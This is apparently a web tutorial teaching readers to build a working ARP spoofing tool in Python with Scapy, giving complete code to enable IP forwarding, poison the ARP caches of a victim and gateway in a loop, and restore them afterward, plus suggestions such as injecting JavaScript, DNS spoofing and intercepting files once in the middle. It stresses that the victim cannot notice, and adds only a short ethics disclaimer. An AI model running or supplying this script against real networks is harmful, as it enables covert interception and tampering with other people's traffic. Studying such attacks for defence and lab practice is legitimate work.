How to Build an ARP Spoofer in Python using Scapy

Building and creating an ARP Spoof script in Python using Scapy to be able to be a man in the middle to monitor, intercept and modify packets in the network.
  · 9 min read · Updated jun 2023 · Ethical Hacking · Packet Manipulation Using Scapy

Struggling with multiple programming languages? No worries. Our Code Converter has got you covered. Give it a go!

In this tutorial, we will build an ARP spoof script using the Scapy library in Python.

What is ARP Spoofing

In brief, it is a method of gaining a man-in-the-middle situation. Technically speaking, it is a technique by which an attacker sends spoofed ARP packets (false packets) onto the network (or specific hosts), enabling the attacker to intercept, change or modify network traffic on the fly.

Once you (as an attacker) are a man in the middle, you can literally intercept or change everything that passes in or out of the victim's device. So, in this tutorial, we will write a Python script to do just that.

In a regular network, all devices normally communicate to the gateway and then to the internet, as shown in the following image:

Regular network

Now the attacker needs to send ARP responses to both hosts:

  • Sending ARP response to the gateway saying that "I have the victim's IP address".
  • Sending ARP response to the victim saying that "I have the gateway's IP address".

ARP Spoof

Once the attacker performs an ARP Spoof attack, as shown in the previous figure, they will be in the man-in-the-middle situation:

Man in the middle situationAt this moment, once the victim sends any packet (an HTTP request, for instance), it will pass first to the attacker's machine. Then it will forward the packet to the gateway, so, as you may notice, the victim does not know about that attack. In other words, they won't be able to figure out that they are being attacked.

Alright, enough theory! Before we get started, you need to install the required libraries:

pip3 install scapy

Check this tutorial to get Scapy to work correctly on your machine if you're on Windows. Additionally, you need to install pywin32, like so:

pip3 install pywin32

Get: Build 24 Ethical Hacking Scripts & Tools with Python Book

Writing the Python Script

Before anything else, we need to import the necessary modules:

from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys

Note: You need to have the Scapy library installed on your machine, head to this post or the official Scapy website.

In the beginning, I need to mention that we need to have IP forwarding enabled.

There are many ways to enable IP route in various platforms. However, I made a python module here to enable IP routing in Windows without worrying about anything.

For Unix-like users (the suggested platform for this tutorial), you need to edit the file "/proc/sys/net/ipv4/ip_forward" which requires root access, and put a value of 1 that indicates as enabled. Check this tutorial for more information. This function does it anyways:

def _enable_linux_iproute():
    """
    Enables IP route ( IP Forward ) in linux-based distro
    """
    file_path = "/proc/sys/net/ipv4/ip_forward"
    with open(file_path) as f:
        if f.read() == 1:
            # already enabled
            return
    with open(file_path, "w") as f:
        print(1, file=f)

For Windows users, once you copy services.py in your current directory, you can copy-paste this function:

def _enable_windows_iproute():
    """
    Enables IP route (IP Forwarding) in Windows
    """
    from services import WService
    # enable Remote Access service
    service = WService("RemoteAccess")
    service.start()

The function below handles enabling IP routing in all platforms:

def enable_ip_route(verbose=True):
    """
    Enables IP forwarding
    """
    if verbose:
        print("[!] Enabling IP Routing...")
    _enable_windows_iproute() if "nt" in os.name else _enable_linux_iproute()
    if verbose:
        print("[!] IP Routing enabled.")

Now, let's get into the cool stuff. First, we need a utility function that allows us to get the MAC address of any machine in the network:

def get_mac(ip):
    """
    Returns MAC address of any device connected to the network
    If ip is down, returns None instead
    """
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

Related: How to Make a MAC Address Changer in Python

We use Scapy's srp() function that sends requests as packets and keeps listening for responses; in this case, we're sending ARP requests and listening for any ARP responses.

Second, we are going to create a function that does the core work of this tutorial; given a target IP address and a host IP address, it changes the ARP cache of the target IP address, saying that we have the host's IP address:

def spoof(target_ip, host_ip, verbose=True):
    """
    Spoofs `target_ip` saying that we are `host_ip`.
    it is accomplished by changing the ARP cache of the target (poisoning)
    """
    # get the mac address of the target
    target_mac = get_mac(target_ip)
    # craft the arp 'is-at' operation packet, in other words; an ARP response
    # we don't specify 'hwsrc' (source MAC address)
    # because by default, 'hwsrc' is the real MAC address of the sender (ours)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    # send the packet
    # verbose = 0 means that we send the packet without printing any thing
    send(arp_response, verbose=0)
    if verbose:
        # get the MAC address of the default interface we are using
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

Related: Build 24 Ethical Hacking Scripts & Tools with Python Book

The above code gets the MAC address of the target, crafts the malicious ARP reply (response) packet, and then sends it.

Once we want to stop the attack, we need to re-assign the real addresses to the target device (as well as the gateway), if we don't do that, the victim will lose internet connection, and it will be evident that something happened, we don't want to do that, we will send seven legitimate ARP reply packets (a common practice) sequentially:

def restore(target_ip, host_ip, verbose=True):
    """
    Restores the normal process of a regular network
    This is done by sending the original informations 
    (real IP and MAC of `host_ip` ) to `target_ip`
    """
    # get the real MAC address of target
    target_mac = get_mac(target_ip)
    # get the real MAC address of spoofed (gateway, i.e router)
    host_mac = get_mac(host_ip)
    # crafting the restoring packet
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at")
    # sending the restoring packet
    # to restore the network to its normal process
    # we send each reply seven times for a good measure (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

This was similar to the spoof() function, and the only difference is that it is sending few legitimate packets. In other words, it is sending true information.

Now we are going to need to write the main code, which is spoofing both; the target and host (gateway) infinitely until CTRL+C is detected, so we will restore the original addresses:

if __name__ == "__main__":
    # victim ip address
    target = "192.168.1.100"
    # gateway ip address
    host = "192.168.1.1"
    # print progress to the screen
    verbose = True
    # enable ip forwarding
    enable_ip_route()
    try:
        while True:
            # telling the `target` that we are the `host`
            spoof(target, host, verbose)
            # telling the `host` that we are the `target`
            spoof(host, target, verbose)
            # sleep for one second
            time.sleep(1)
    except KeyboardInterrupt:
        print("[!] Detected CTRL+C ! restoring the network, please wait...")
        restore(target, host)
        restore(host, target)

Get: Build 24 Ethical Hacking Scripts & Tools with Python Book

I ran the script on a Linux machine. Here is a screenshot of my result:

Result of ARP Spoof script run

In this example, I have used my personal computer as a victim. If you try to check your ARP cache:

After the ARP spoof attack

You will see that the attacker's MAC address (in this case, "192.168.1.105") is the same as the gateway's. We're absolutely fooled!

In the attacker's machine, when you click CTRL+C to close the program, here is a screenshot of the restore process:

Restoring the original addresses

Going back to the victim machine, you'll see the original MAC address of the gateway is restored:

ARP cache before the attack

Now, you may say what the benefit of being a man-in-the-middle is? Well, that's a critical question. In fact, you can do many things as long as you have a good experience with Scapy or any other man-in-the-middle tool; the possibilities are endless. For example, you can inject javascript code in HTTP responses, DNS spoof your target, intercept files and modify them on the fly, network sniffing and monitoring, and much more.

So, this was a quick demonstration of an ARP spoof attack, and remember, use this ethically! Use it on your private network, don't use it on a network you don't have authorization.

Check this tutorial for detecting these kinds of attacks in your network!

Finally, in the Ethical Hacking with Python Book, we build over 35 hacking scripts and tools! Check it out here if you're interested.

Happy Coding ♥

Just finished the article? Now, boost your next project with our Python Code Generator. Discover a faster, smarter way to code.

View Full Code Transform My Code
Sharing is caring!



Read Also



Comment panel

    Got a coding query or need some guidance before you comment? Check out this Python Code Assistant for expert advice and handy tips. It's like having a coding tutor right in your fingertips!